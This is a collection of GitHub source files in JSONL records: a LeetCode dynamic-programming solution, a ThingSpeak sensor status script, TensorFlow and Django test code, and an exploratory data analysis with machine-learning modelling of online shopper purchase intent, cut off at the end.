+{"seq_id":"31047644837","text":"#\n# @lc app=leetcode id=221 lang=python3\n#\n# [221] Maximal Square\n#\n# https://leetcode.com/problems/maximal-square/description/\n#\n# algorithms\n# Medium (35.65%)\n# Likes:    2439\n# Dislikes: 63\n# Total Accepted:    207.3K\n# Total Submissions: 575.5K\n# Testcase Example:  '[[\"1\",\"0\",\"1\",\"0\",\"0\"],[\"1\",\"0\",\"1\",\"1\",\"1\"],[\"1\",\"1\",\"1\",\"1\",\"1\"],[\"1\",\"0\",\"0\",\"1\",\"0\"]]'\n#\n# Given a 2D binary matrix filled with 0's and 1's, find the largest square\n# containing only 1's and return its area.\n#\n# Example:\n#\n#\n# Input:\n#\n# 1 0 1 0 0\n# 1 0 1 1 1\n# 1 1 1 1 1\n# 1 0 0 1 0\n#\n# Output: 4\n#\n#\n\nfrom bisect import *\nfrom collections import *\nfrom functools import *\nfrom heapq import *\nfrom itertools import *\nfrom math import *\nfrom operator import *\nfrom typing import *\n\n\n# @lc code=start\nclass Solution:\n    def maximalSquare(self, matrix: List[List[str]]) -> int:\n        if not (matrix and matrix[0]):\n            return 0\n        top = list(map(int, matrix[0]))\n        # The edge length of the maximal all '1' square\n        # which its bottom-right corner is matrix[i][j].\n        dp = top[:]\n        max_edge_length = max(dp)\n        for row in islice(matrix, 1, None):\n            first = int(row[0])\n            left = first\n            prev = dp[0]\n            dp[0] = first\n            max_edge_length = max(max_edge_length, dp[0])\n            for j, c in islice(enumerate(row), 1, None):\n                num = int(c)\n                cache = dp[j]\n                dp[j] = num and min(prev, left, top[j]) + 1\n                max_edge_length = max(max_edge_length, dp[j])\n                prev = cache\n                left = num and left + 1\n                top[j] = num and top[j] + 1\n        return max_edge_length * max_edge_length\n\n\n# @lc code=end\n","repo_name":"escape0707/leetcode-exercises","sub_path":"221.maximal-square.py","file_name":"221.maximal-square.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
+{"seq_id":"27818377848","text":"import json\nimport requests\nimport http.client, urllib.parse\nimport datetime\nfrom dateutil import parser\ndata2 = requests.get(url=\"https://api.thingspeak.com/channels/843073/feeds.json?results=1\")\njsonobj2 = json.loads(data2.content.decode('utf-8'))\ntry:\n    tempD1 = round(float(jsonobj2[\"feeds\"][0][\"field1\"]))\n    humiD1 = round(float(jsonobj2[\"feeds\"][0][\"field2\"]))\n    last_entry_D1 = jsonobj2[\"feeds\"][0][\"created_at\"]\nexcept:\n    tempD1 = jsonobj2[\"feeds\"][0][\"field1\"]\n    humiD1 = jsonobj2[\"feeds\"][0][\"field2\"]\n    last_entry_D1 = jsonobj2[\"feeds\"][0][\"created_at\"]\n\nprint (str(tempD1)+'°C  '+str(humiD1))\nprint (str(last_entry_D1))\nlast_entry_D1_dt = parser.parse(last_entry_D1)\nprint (last_entry_D1_dt)\n\nZERO = datetime.timedelta(0)\n\nclass UTC(datetime.tzinfo):\n  def utcoffset(self, dt):\n    return ZERO\n  def tzname(self, dt):\n    return \"UTC\"\n  def dst(self, dt):\n    return ZERO\n\nutc = UTC()\n\ndelta = datetime.datetime.now(utc) - last_entry_D1_dt\nprint (delta)\nsixminutes = datetime.timedelta(minutes=6)\nif delta < sixminutes:\n    print ('alles i.O!')\nif delta > sixminutes:\n    print ('offline')\n","repo_name":"petershaw23/waveshareEpaper","sub_path":"script/old/thingspeak_test.py","file_name":"thingspeak_test.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"}
+{"seq_id":"34158761646","text":"# Constants shared by all exercices\n\nHALO_COUNT  = 25 # Number of halos to download for each mass range\nHALO_MASS_RANGES = [   \\\n    (0, 1e10),    \\\n    (1e10, 1e11), \\\n    (1e11, 1e12), \\\n    (1e12, 1e13), \\\n    (1e13, 1e30)]\n\nGALAXY_COUNT = HALO_COUNT\n\nGALAXY_TO_HALO_MASS_RATIO = 1e-2 # Trust me, I'm an engineer\nGALAXY_MASS_RANGES = []\n\nfor r in HALO_MASS_RANGES:\n    GALAXY_MASS_RANGES.append(\\\n        (GALAXY_TO_HALO_MASS_RATIO * r[0], GALAXY_TO_HALO_MASS_RATIO * r[1]))\n\nGALAXY_MASS_RANGES.append((1e11, 1e12))\nGALAXY_MASS_RANGES.append((2e11, 1e30))\n","repo_name":"BatchDrake/millsim","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"38692799753","text":"import tensorflow as tf\n\ndef parse_fn(example):\n    example_fmt = {\n        \"visit_items_index\": tf.FixedLenFeature([5], tf.int64),\n        \"continuous_features_value\": tf.FixedLenFeature([16], tf.float32),\n        \"next_visit_item_index\": tf.FixedLenFeature([], tf.int64)\n    }\n    parsed = tf.parse_single_example(example, example_fmt)\n    next_visit_item_index = parsed.pop(\"next_visit_item_index\")\n    return parsed, next_visit_item_index\n\nif __name__ == \"__main__\":\n    files = tf.data.Dataset.list_files('D:\\Pycharm\\PycharmProjects\\deep_neural_networks_for_youtube_recommendations\\dnn\\\\tfrecords\\\\train\\\\train.tfrecords', shuffle=True)\n    data_set = files.apply(\n        tf.contrib.data.parallel_interleave(\n            lambda filename: tf.data.TFRecordDataset(filename),\n            cycle_length=16))\n    data_set = data_set.repeat(1)\n    data_set = data_set.map(map_func=parse_fn, num_parallel_calls=16)\n    data_set = data_set.prefetch(buffer_size=64)\n    data_set = data_set.batch(batch_size=16)\n    iterator = data_set.make_one_shot_iterator()\n    res1, res2 = iterator.get_next()\n\n    with tf.Session() as sess:\n        for i in range(5):\n            result1, result2 = sess.run([res1, res2])\n            print(\"第{}批:\".format(i), end=\" \")\n            print(\"result1是:\", result1)\n            print(\"result2是:\", result2)","repo_name":"chenxingqiang/deep_neural_networks_for_youtube_recommendations","sub_path":"python_code/deep_neural_networks_for_youtube_recommendations/dnn/read_tfrecords.py","file_name":"read_tfrecords.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"47"}
+{"seq_id":"6650122392","text":"from django.test import TestCase\nfrom django.core.management import call_command\nfrom django.core import mail\nfrom django.core.urlresolvers import reverse\n\nfrom contactbox.models import Message, Receiver\n\n\nclass MainTestCase(TestCase):\n    def setUp(self):\n        Receiver.objects.create(\n            name='test',\n            email='foo@bar.com',\n            active=True)\n        Receiver.objects.create(\n            name='test',\n            email='foo1@bar.com',\n            active=True)\n        Receiver.objects.create(\n            name='test',\n            email='foo2@bar.com',\n            active=False)\n\n    def test_sending(self):\n        message = Message.objects.create(\n            email='a@a.com',\n            message='message',\n        )\n        self.assertEqual(mail.outbox, [])\n        self.assertIsNone(message.notification_date)\n        call_command('remind_contact')\n        message = Message.objects.get(pk=message.pk)\n        self.assertIsNotNone(message.notification_date)\n        self.assertEqual(len(mail.outbox), 1)\n\n    def test_www_form(self):\n        self.assertEqual(mail.outbox, [])\n        self.assertEqual(Message.objects.count(), 0)\n        url = reverse('contact-box-form-test')\n        response = self.client.get(url)\n        self.assertEqual(response.status_code, 200)\n\n        response = self.client.post(url, {})\n        self.assertEqual(response.status_code, 200)\n        self.assertFormError(response, 'form', 'name', 'This field is required.')\n        self.assertFormError(response, 'form', 'email', 'This field is required.')\n        self.assertFormError(response, 'form', 'message', 'This field is required.')\n        self.assertEqual(mail.outbox, [])\n        self.assertEqual(Message.objects.count(), 0)\n\n        data = {\n            'email': 'a',\n            'name': 'some name',\n            'message': 'm'\n        }\n        response = self.client.post(url, data)\n        self.assertEqual(response.status_code, 200)\n        self.assertFormError(response, 'form', 'email', 'Enter a valid email address.')\n        self.assertEqual(mail.outbox, [])\n        self.assertEqual(Message.objects.count(), 0)\n\n        data['email'] = 'a@a.com'\n        response = self.client.post(url, data)\n        self.assertEqual(response.status_code, 200)\n        self.assertIsNone(Message.objects.first().notification_date)\n        call_command('remind_contact')\n        self.assertEqual(len(mail.outbox), 1)\n        self.assertIsNotNone(Message.objects.first().notification_date)\n","repo_name":"ArabellaTech/contactBox","sub_path":"contactbox/tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"11668987119","text":"import pandas as pd\r\nimport os\r\nimport numpy as np\r\nfrom sklearn import preprocessing\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport plotly as py\r\nimport plotly.graph_objs as go\r\n\r\ndata = pd.read_csv('online_shoppers_intention.csv')\r\n#Shape of data\r\n\r\n#Exploitary analysis\r\n\r\n\r\nprint('The shape of the dataset : ', data.shape)\r\n\r\ndata.head()\r\n\r\n#View summary of dataset\r\ndata.info()\r\n\r\n#Check the data types of columns\r\ndata.dtypes\r\n\r\n#View statistical properties of dataset\r\ndata.describe()\r\n\r\n#checking for missing value\r\ndata.isnull().sum()\r\n\r\n#checking categorical values\r\ncategorical = [var for var in data.columns if data[var].dtype=='O']\r\n\r\nprint('There are {} categorical variables\\n'.format(len(categorical)))\r\n\r\nprint('The categorical variables are :\\n\\n', categorical)\r\n\r\n#Preview categorical variables\r\ndata[categorical].head()\r\n\r\n#Frequency distribution of categorical variables\r\n\r\nfor var in categorical: \r\n    \r\n    print(data[var].value_counts())\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# plotting a pie chart for visitors\r\n\r\nplt.rcParams['figure.figsize'] = (18, 7)\r\nsize = [10551, 1694, 85]\r\ncolors = ['violet', 'magenta', 'pink']\r\nlabels = \"Returning Visitor\", \"New_Visitor\", \"Others\"\r\nexplode = [0, 0, 0.1]\r\nplt.subplot(1, 2, 1)\r\nplt.pie(size, colors = colors, labels = labels, explode = explode, shadow = True, autopct = '%.2f%%')\r\nplt.title('Different Visitors', fontsize = 30)\r\nplt.axis('off')\r\nplt.legend()\r\n\r\n\r\n# plotting a pie chart for browsers\r\nsize = [7961, 2462, 736, 467,174, 163, 300]\r\ncolors = ['orange', 'yellow', 'pink', 'crimson', 'lightgreen', 'cyan', 'blue']\r\nlabels = \"2\", \"1\",\"4\",\"5\",\"6\",\"10\",\"others\"\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.pie(size, colors = colors, labels = labels, shadow = True, autopct = '%.2f%%', startangle = 90)\r\nplt.title('Different Browsers', fontsize = 30)\r\nplt.axis('off')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n# plotting a pie chart for different number of OSes users have.\r\n\r\nsize = [6601, 2585, 2555, 478, 111]\r\ncolors = ['orange', 'yellow', 'pink', 'crimson', 'lightgreen']\r\nlabels = \"2\", \"1\",\"3\",\"4\",\"others\"\r\nexplode = [0, 0, 0, 0, 0]\r\n\r\ncircle = plt.Circle((0, 0), 0.6, color = 'white')\r\n\r\nplt.subplot(1, 2, 1)\r\nplt.pie(size, colors = colors, labels = labels, explode = explode, shadow = True, autopct = '%.2f%%')\r\nplt.title('Operating System Used by Visitors', fontsize = 30)\r\np = plt.gcf()\r\np.gca().add_artist(circle)\r\nplt.axis('off')\r\nplt.legend()\r\n\r\n# plotting a pie chart for share of special days\r\n\r\nsize = [3364, 2998, 1907, 1727, 549, 448, 433, 432, 288, 184]\r\ncolors = ['orange', 'yellow', 'pink', 'crimson', 'lightgreen', 'cyan', 'magenta', 'lightblue', 'lightgreen', 'violet']\r\nlabels = \"May\", \"November\", \"March\", \"December\", \"October\", \"September\", \"August\", \"July\", \"June\", \"February\"\r\nexplode = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\r\n\r\ncircle = plt.Circle((0, 0), 0.6, color = 'white')\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.pie(size, colors = colors, labels = labels, explode = explode, shadow = True, autopct = '%.2f%%')\r\nplt.title('Special Days in Each Month', fontsize = 30)\r\np = plt.gcf()\r\np.gca().add_artist(circle)\r\nplt.axis('off')\r\nplt.legend()\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Informational duration vs revenue\r\n\r\nplt.rcParams['figure.figsize'] = (18, 15)\r\n\r\nplt.subplot(2, 2, 1)\r\nsns.stripplot(data['Revenue'], data['Informational_Duration'], palette = 'rainbow')\r\nplt.title('Info. duration vs Revenue', fontsize = 30)\r\nplt.ylabel('Info. duration', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\n\r\n# Admonistration duration vs revenue\r\n\r\nplt.subplot(2, 2, 2)\r\nsns.stripplot(data['Revenue'], data['Administrative_Duration'], palette = 'pastel')\r\nplt.title('Admn. duration vs Revenue', fontsize = 30)\r\nplt.ylabel('Admn. duration', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\n\r\n# product related duration vs revenue\r\n\r\nplt.subplot(2, 2, 3)\r\nsns.stripplot(data['Revenue'], data['ProductRelated_Duration'], palette = 'dark')\r\nplt.title('Product Related duration vs Revenue', fontsize = 30)\r\nplt.ylabel('Product Related duration', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\n# exit rate vs revenue\r\n\r\nplt.subplot(2, 2, 4)\r\nsns.stripplot(data['Revenue'], data['ExitRates'], palette = 'spring')\r\nplt.title('ExitRates vs Revenue', fontsize = 30)\r\nplt.ylabel('ExitRates', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nplt.rcParams['figure.figsize'] = (18, 7)\r\n\r\nplt.subplot(1, 2, 1)\r\ndata[\"Informational\"].value_counts().plot.bar(color=\"purple\",figsize=(10,5))\r\nplt.title(\"Informational plot\")\r\nplt.ylabel(\"Number of counts or visits\")\r\n\r\nplt.subplot(1, 2, 2)\r\nsns.distplot(data[\"Informational_Duration\"],kde=True,norm_hist=True)\r\nplt.title(\"Time spent by the user on the website\")\r\nplt.grid()\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nplt.rcParams['figure.figsize'] = (18, 7)\r\n\r\nplt.subplot(1, 2, 1)\r\nsns.countplot(data['Revenue'], palette = 'pastel')\r\nplt.title('Buy or Not', fontsize = 30)\r\nplt.xlabel('Revenue or not', fontsize = 15)\r\nplt.ylabel('count', fontsize = 15)\r\n\r\nplt.subplot(1, 2, 2)\r\nsns.countplot(data['Weekend'], palette = 'inferno')\r\nplt.title('Purchase on Weekends', fontsize = 30)\r\nplt.xlabel('Weekend or not', fontsize = 15)\r\nplt.ylabel('count', fontsize = 15)\r\n\r\nprint(data['VisitorType'].value_counts())\r\n\r\nplt.show()\r\n\r\n\r\n\r\n# visualizing the distribution of customers around the Region\r\n\r\nplt.rcParams['figure.figsize'] = (18, 7)\r\n\r\nplt.subplot(1, 2, 1)\r\nplt.hist(data['TrafficType'], color = 'lightgreen')\r\nplt.title('Distribution of diff Traffic',fontsize = 30)\r\nplt.xlabel('TrafficType Codes', fontsize = 15)\r\nplt.ylabel('Count', fontsize = 15)\r\n\r\n# visualizing the distribution of customers around the Region\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.hist(data['Region'], color = 'lightblue')\r\nplt.title('Distribution of Customers',fontsize = 30)\r\nplt.xlabel('Region Codes', fontsize = 15)\r\nplt.ylabel('Count', fontsize = 15)\r\n\r\nplt.show()\r\n\r\n\r\n\r\n# visitor type vs revenue\r\n\r\ndf = pd.crosstab(data['VisitorType'], data['Revenue'])\r\ndf.div(df.sum(1).astype(float), axis = 0).plot(kind = 'bar', stacked = True, figsize = (15, 5), color = ['lightgreen', 'green'])\r\nplt.title('Visitor Type vs Revenue', fontsize = 30)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# weekend vs Revenue\r\n\r\ndf = pd.crosstab(data['Weekend'], data['Revenue'])\r\ndf.div(df.sum(1).astype(float), axis = 0).plot(kind = 'bar', stacked = True, figsize = (15, 5), color = ['orange', 'crimson'])\r\nplt.title('Weekend vs Revenue', fontsize = 30)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# specials vs Revenue\r\n\r\ndf = pd.crosstab(data['SpecialDay'], data['Revenue'])\r\ndf.div(df.sum(1).astype(float), axis = 0).plot(kind = 'bar', stacked = True, figsize = (15, 5), color = ['red', 'blue'])\r\nplt.title('Special days vs Revenue', fontsize = 30)\r\nplt.show()\r\n\r\n\r\n# Traffic Type vs Revenue\r\n\r\ndf = pd.crosstab(data['TrafficType'], data['Revenue'])\r\ndf.div(df.sum(1).astype(float), axis = 0).plot(kind = 'bar', stacked = True, figsize = (15, 5), color = ['lightpink', 'yellow'])\r\nplt.title('Traffic Type vs Revenue', fontsize = 30)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# visitor type vs exit rates w.r.t revenue\r\n\r\nplt.rcParams['figure.figsize'] = (18, 15)\r\nplt.subplot(2, 2, 1)\r\nsns.violinplot(x = data['VisitorType'], y = data['ExitRates'], hue = data['Revenue'], palette = 'rainbow')\r\nplt.title('Visitors vs ExitRates wrt Rev.', fontsize = 30)\r\n\r\n# visitor type vs exit rates w.r.t revenue\r\nplt.subplot(2, 2, 2)\r\nsns.violinplot(x = data['VisitorType'], y = data['PageValues'], hue = data['Revenue'], palette = 'gnuplot')\r\nplt.title('Visitors vs PageValues wrt Rev.', fontsize = 30)\r\n\r\n# region vs pagevalues w.r.t. revenue\r\nplt.subplot(2, 2, 3)\r\nsns.violinplot(x = data['Region'], y = data['PageValues'], hue = data['Revenue'], palette = 'Greens')\r\nplt.title('Region vs PageValues wrt Rev.', fontsize = 30)\r\n\r\n#region vs exit rates w.r.t. revenue\r\nplt.subplot(2, 2, 4)\r\nsns.violinplot(x = data['Region'], y = data['ExitRates'], hue = data['Revenue'], palette = 'spring')\r\nplt.title('Region vs Exit Rates w.r.t. Revenue', fontsize = 30)\r\n\r\nplt.show()\r\n\r\n\r\n# lm plot\r\n\r\nplt.rcParams['figure.figsize'] = (20, 10)\r\n\r\nsns.lmplot(x = 'Administrative', y = 'Informational', data = data, x_jitter = 0.05)\r\nplt.title('LM Plot between Admistrative and Information', fontsize = 15)\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# page values vs revenue\r\n\r\nplt.rcParams['figure.figsize'] = (18, 7)\r\n\r\nplt.subplot(1, 2, 1)\r\nsns.stripplot(data['Revenue'], data['PageValues'], palette = 'autumn')\r\nplt.title('PageValues vs Revenue', fontsize = 30)\r\nplt.ylabel('PageValues', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\n# bounce rates vs revenue\r\nplt.subplot(1, 2, 2)\r\nsns.stripplot(data['Revenue'], data['BounceRates'], palette = 'magma')\r\nplt.title('Bounce Rates vs Revenue', fontsize = 30)\r\nplt.ylabel('Boune Rates', fontsize = 15)\r\nplt.xlabel('Revenue', fontsize = 15)\r\n\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n# region vs Revenue\r\n\r\ndf = pd.crosstab(data['Region'], data['Revenue'])\r\ndf.div(df.sum(1).astype(float), axis = 0).plot(kind = 'bar', stacked = True, figsize = (15, 5), color = ['lightblue', 'blue'])\r\nplt.title('Region vs Revenue', fontsize = 30)\r\nplt.show()\r\n\r\n\r\n\r\n# month vs pagevalues wrt revenue\r\n\r\nplt.rcParams['figure.figsize'] = (18, 15)\r\nplt.subplot(2, 2, 1)\r\nsns.boxplot(x = data['Month'], y = data['PageValues'], hue = data['Revenue'], palette = 'inferno')\r\nplt.title('Mon. vs PageValues w.r.t. Rev.', fontsize = 30)\r\n\r\n# month vs exitrates wrt revenue\r\nplt.subplot(2, 2, 2)\r\nsns.boxplot(x = data['Month'], y = data['ExitRates'], hue = data['Revenue'], palette = 'Reds')\r\nplt.title('Mon. vs ExitRates w.r.t. Rev.', fontsize = 30)\r\n\r\n# month vs bouncerates wrt revenue\r\nplt.subplot(2, 2, 3)\r\nsns.boxplot(x = data['Month'], y = data['BounceRates'], hue = data['Revenue'], palette = 'Oranges')\r\nplt.title('Mon. vs BounceRates w.r.t. Rev.', fontsize = 30)\r\n\r\n# visitor type vs exit rates w.r.t revenue\r\nplt.subplot(2, 2, 4)\r\nsns.boxplot(x = data['VisitorType'], y = data['BounceRates'], hue = data['Revenue'], palette = 'Purples')\r\nplt.title('Visitors vs BounceRates w.r.t. Rev.', fontsize = 30)\r\n\r\nplt.show()\r\n\r\n\r\n# Inputing Missing Values with 0\r\n\r\ndata.fillna(0, inplace = True)\r\nprint(data.isnull().sum().sum())\r\n\r\n# Q1: Time Spent by The Users on Website vs Bounce Rates\r\n\r\n\r\n# let's cluster Administrative duration and Bounce Ratw to different types of clusters in the dataset.\r\n\r\nx = data.iloc[:, [1, 6]].values\r\n\r\nfrom sklearn.cluster import KMeans\r\nwcss = []\r\nfor i in range(1, 11):\r\n    km = KMeans(n_clusters = i,\r\n              init = 'k-means++',\r\n              max_iter = 300,\r\n              n_init = 10,\r\n              random_state = 0,\r\n              algorithm = 'elkan',\r\n              tol = 0.001)\r\n    km.fit(x)\r\n    labels = km.labels_\r\n    wcss.append(km.inertia_)\r\n    \r\nplt.rcParams['figure.figsize'] = (15, 7)\r\nplt.plot(range(1, 11), wcss)\r\nplt.grid()\r\nplt.tight_layout()\r\nplt.title('The Elbow Method', fontsize = 20)\r\nplt.xlabel('No. of Clusters')\r\nplt.ylabel('wcss')\r\nplt.show()\r\n\r\n#visualizing the cluster using scatter plot\r\n\r\nkm = KMeans(n_clusters = 3, init = 'k-means++', max_iter = 300, n_init = 10, random_state = 0)\r\ny_means = km.fit_predict(x)\r\n\r\nplt.scatter(x[y_means == 0, 0], x[y_means == 0, 1], s = 100, c = 'pink', label = 'Un-interested Customers')\r\nplt.scatter(x[y_means == 1, 0], x[y_means == 1, 1], s = 100, c = 'yellow', label = 'General Customers')\r\nplt.scatter(x[y_means == 2, 0], x[y_means == 2, 1], s = 100, c = 'cyan', label = 'Target Customers')\r\nplt.scatter(km.cluster_centers_[:,0], km.cluster_centers_[:, 1], s = 50, c = 'blue' , label = 'centeroid')\r\n\r\nplt.title('Administrative Duration vs Bounce Rate', fontsize = 20)\r\nplt.grid()\r\nplt.xlabel('Administrative Duration')\r\nplt.ylabel('Bounce Rates')\r\nplt.legend()\r\nplt.show()\r\n\r\n# informational duration vs Bounce Rates\r\nx = data.iloc[:, [3, 6]].values\r\n\r\nwcss = []\r\nfor i in range(1, 11):\r\n    km = KMeans(n_clusters = i,\r\n              init = 'k-means++',\r\n              max_iter = 300,\r\n              n_init = 10,\r\n              random_state = 0,\r\n              algorithm = 'elkan',\r\n              tol = 0.001)\r\n    km.fit(x)\r\n    labels = km.labels_\r\n    wcss.append(km.inertia_)\r\n    \r\nplt.rcParams['figure.figsize'] = (15, 7)\r\nplt.plot(range(1, 11), wcss)\r\nplt.grid()\r\nplt.tight_layout()\r\nplt.title('The Elbow Method', fontsize = 20)\r\nplt.xlabel('No. of Clusters')\r\nplt.ylabel('wcss')\r\nplt.show()\r\n\r\n#visualizing the cluster using scatter plot\r\n\r\nkm = KMeans(n_clusters = 2, init = 'k-means++', max_iter = 300, n_init = 10, random_state = 0)\r\ny_means = km.fit_predict(x)\r\n\r\nplt.scatter(x[y_means == 0, 0], x[y_means == 0, 1], s = 100, c = 'pink', label = 'Un-interested Customers')\r\nplt.scatter(x[y_means == 1, 0], x[y_means == 1, 1], s = 100, c = 'yellow', label = 'Target Customers')\r\nplt.scatter(km.cluster_centers_[:,0], km.cluster_centers_[:, 1], s = 50, c = 'blue' , label = 'centeroid')\r\n\r\nplt.title('Informational Duration vs Bounce Rates', fontsize = 20)\r\nplt.grid()\r\nplt.xlabel('Informational Duration')\r\nplt.ylabel('Bounce Rates')\r\nplt.legend()\r\nplt.show()\r\n\r\n# productrelated duration vs Bounce Rates\r\nx = data.iloc[:, [5, 6]].values\r\n\r\nwcss = []\r\nfor i in range(1, 11):\r\n    km = KMeans(n_clusters = i,\r\n              init = 'k-means++',\r\n              max_iter = 300,\r\n              n_init = 10,\r\n              random_state = 0,\r\n              algorithm = 'elkan',\r\n              tol = 0.001)\r\n    km.fit(x)\r\n    labels = km.labels_\r\n    wcss.append(km.inertia_)\r\n    \r\nplt.rcParams['figure.figsize'] = (15, 7)\r\nplt.plot(range(1, 11), wcss)\r\nplt.grid()\r\nplt.tight_layout()\r\nplt.title('The Elbow Method', fontsize = 20)\r\nplt.xlabel('No. of Clusters')\r\nplt.ylabel('wcss')\r\nplt.show()\r\n\r\n#visualizing the cluster using scatter plot\r\n\r\nkm = KMeans(n_clusters = 2, init = 'k-means++', max_iter = 300, n_init = 10, random_state = 0)\r\ny_means = km.fit_predict(x)\r\n\r\nplt.scatter(x[y_means == 0, 0], x[y_means == 0, 1], s = 100, c = 'pink', label = 'Un-interested Customers')\r\nplt.scatter(x[y_means == 1, 0], x[y_means == 1, 1], s = 100, c = 'yellow', label = 'Target Customers')\r\nplt.scatter(km.cluster_centers_[:,0], km.cluster_centers_[:, 1], s = 50, c = 'blue' , label = 'centeroid')\r\n\r\nplt.title('Productrelated Duration vs Bounce Rates', fontsize = 20)\r\nplt.grid()\r\nplt.xlabel('Product related Duration')\r\nplt.ylabel('Bounce Rates')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n\r\nfrom scipy import stats\r\ndef out_lier(df,colname):\r\n    qua1 = df[colname].quantile(0.25)\r\n    qua2 = df[colname].quantile(0.75)\r\n    t=3\r\n\r\n    z = np.abs(stats.zscore(df[colname]))\r\n    df[colname][z>t] = qua2\r\n    df[colname][z<-t] = qua1\r\n\r\n#out_lier(data1,'Administrative')\r\nout_lier(data,'Administrative_Duration')\r\n#out_lier(data1,'Informational')\r\nout_lier(data,'Informational_Duration')\r\n#out_lier(data1,'ProductRelated')\r\nout_lier(data,'ProductRelated_Duration')\r\n\r\n\r\n#dummy variables\r\ncategorical = ['VisitorType','Month']\r\ndata = pd.get_dummies(data,columns = categorical,drop_first=True)\r\n\r\n#data = preprocessing.StandardScaler().fit(data).transform(data.astype(float))\r\nprint(data)\r\nprint(data.shape)\r\n\r\n# label encoding of revenue\r\n\r\nfrom sklearn.preprocessing import LabelEncoder\r\nle = LabelEncoder()\r\ndata['Revenue'] = le.fit_transform(data['Revenue'])\r\n\r\n# removing the target column revenue from x\r\nx = data.drop('Revenue', axis = 1)\r\n\r\ny = data['Revenue']\r\n\r\n\r\n# checking the shapes\r\nprint(\"Shape of x:\", x.shape)\r\nprint(\"Shape of y:\", y.shape)\r\n\r\n# splitting the data\r\n\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size = 0.3, random_state = 2)\r\n\r\nprint(\"Shape of x_train :\", x_train.shape)\r\nprint(\"Shape of y_train :\", y_train.shape)\r\nprint(\"Shape of x_test :\", x_test.shape)\r\nprint(\"Shape of y_test :\", y_test.shape)\r\n\r\n\r\n# MODELLING RANDOMFOREST\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import classification_report\r\n\r\nmodel = RandomForestClassifier()\r\nmodel.fit(x_train, y_train)\r\n\r\ny_pred = model.predict(x_test)\r\n\r\n# evaluating the model\r\nrantrain=model.score(x_train, y_train)\r\nprint(\"Training Accuracy :\", rantrain)\r\nrantest=model.score(x_test, y_test)\r\nprint(\"Testing Accuracy :\", rantest)\r\n\r\n\r\n# confusion matrix\r\nprint(confusion_matrix(y_test,y_pred))\r\n\r\n# classification report\r\ncr = classification_report(y_test, y_pred)\r\nprint(cr)\r\n\r\n# finding the Permutation importance\r\n\r\nimport eli5\r\nfrom eli5.sklearn import PermutationImportance\r\n\r\nperm = PermutationImportance(model, random_state = 0).fit(x_test, y_test)\r\neli5.show_weights(perm, feature_names = x_test.columns.tolist())\r\n\r\n\r\n\r\n# importing pdp\r\nfrom pdpbox import pdp, info_plots\r\n\r\nbase_features = x_test.columns.values.tolist()\r\n\r\nfeat_name = 'Administrative_Duration'\r\npdp_dist = pdp.pdp_isolate(model=model, dataset=x_test, model_features = base_features, feature = feat_name)\r\n\r\npdp.pdp_plot(pdp_dist, feat_name)\r\nplt.show()\r\n\r\n\r\n# plotting partial dependency plot for Informational Duration\r\n\r\nbase_features = x_test.columns.tolist()\r\n\r\nfeat_name = 'Informational_Duration'\r\npdp_dist = pdp.pdp_isolate(model, x_test, base_features, feat_name)\r\n\r\npdp.pdp_plot(pdp_dist, feat_name)\r\nplt.show()\r\n\r\n\r\n# plotting partial dependency plot for Product related Duration\r\n\r\nbase_features = x_test.columns.tolist()\r\n\r\nfeat_name = 'ProductRelated_Duration'\r\npdp_dist = pdp.pdp_isolate(model, x_test, base_features, feat_name)\r\n\r\npdp.pdp_plot(pdp_dist, feat_name)\r\nplt.show()\r\n\r\n\r\n# let's take a look at the shap values\r\n\r\n# importing shap\r\nimport shap\r\n\r\nexplainer = shap.TreeExplainer(model)\r\nshap_values = explainer.shap_values(x_test)\r\n\r\nshap.summary_plot(shap_values[1], x_test, plot_type = 'bar')\r\n\r\n\r\n# let's create a function to check the customer's conditions\r\n\r\n\r\ndef customer_analysis(model, customer):\r\n  explainer = shap.TreeExplainer(model)\r\n  shap_values = explainer.shap_values(customer)\r\n  shap.initjs()\r\n  return shap.force_plot(explainer.expected_value[1], shap_values[1], customer)\r\n\r\ncustomers = x_test.iloc[1,:].astype(float)\r\ncustomer_analysis(model, customers)\r\n\r\ncustomers = x_test.iloc[1531,:].astype(float)\r\ncustomer_analysis(model, customers)\r\n\r\n\r\nshap_values = 